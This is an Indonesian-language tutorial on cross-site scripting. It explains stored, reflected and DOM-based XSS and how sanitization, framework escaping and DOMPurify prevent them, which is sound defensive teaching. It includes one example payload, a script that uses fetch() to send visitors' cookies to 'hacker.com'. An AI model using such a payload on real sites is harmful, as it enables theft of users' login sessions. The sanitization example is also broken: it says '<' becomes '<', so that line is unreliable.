Website-Mu Menjadi Senjata Makan Tuan

Skenarionya seperti ini: Kamu membuat fitur "Kolom Komentar" di blog pribadimu. Pengunjung bisa mengetik nama, menulis komentar, dan menekan *Submit*. Komentar itu akan tersimpan di database dan langsung ditampilkan di bawah artikel. Sekilas terlihat normal, bukan?

TAPI, apa yang terjadi jika ada seorang Hacker yang iseng mengisi kolom nama bukan dengan teks "Budi", melainkan dengan Kode JavaScript murni seperti ini?

<script>
  fetch('http://hacker.com/curi?cookie=' + document.cookie);
</script>

Jika kamu langsung menampilkan teks tersebut ke layar (merender HTML mentah), Browser milik pengunjung lain akan mengira teks itu adalah kode program yang harus dijalankan! Secara instan, cookie login rahasia milik semua pengunjung artikelmu akan terkirim secara otomatis ke server si Hacker. Inilah yang disebut serangan XSS (Cross-Site Scripting).

Tiga Jenis Utama XSS

1. Stored XSS (Paling Bahaya): Skrip jahat berhasil disimpan secara permanen di Database-mu (seperti contoh kolom komentar di atas). Siapapun yang membuka halaman itu akan tereksekusi.
2. Reflected XSS: Skrip jahat diselipkan *hacker* melalui URL (misalnya melalui fitur kotak Pencarian). Hacker akan menipu korban untuk mengklik tautan URL yang sudah dibumbui script aneh.
3. DOM-based XSS: Kelemahan murni pada kode JavaScript *Frontend*-mu sendiri yang salah memanipulasi *DOM Element*.

Cara Mencegah XSS (Sanitasi HTML)

Aturan utama keamanan Web: Jangan Pernah Percaya Apapun yang Diketik User (Never Trust User Input).

Sebelum sebuah teks dimasukkan ke database atau ditampilkan ke layar, kamu harus melakukan Sanitasi (Sanitization). Sanitasi adalah proses menyapu bersih karakter berbahaya. Misalnya mengubah tanda kurung HTML < menjadi entitas teks aman <.

Kabar Baik Bagi Pengguna Framework Modern

Jika kamu menggunakan React, Vue, atau Angular, kamu bisa sedikit bernapas lega. Saat kamu merender variabel ke layar (contoh React:

{namaUser}

), React akan secara otomatis mematikan (escape) semua skrip jahat menjadi teks mati biasa.

Pengecualian Berbahaya: Di React, ada satu kode yang khusus dibuat untuk meloloskan HTML mentah ke layar, yaitu dangerouslySetInnerHTML. Sesuai namanya (Sangat Berbahaya), jangan gunakan fitur ini kecuali kamu sudah membersihkan (Sanitasi) string HTML-nya menggunakan *library* tambahan seperti DOMPurify!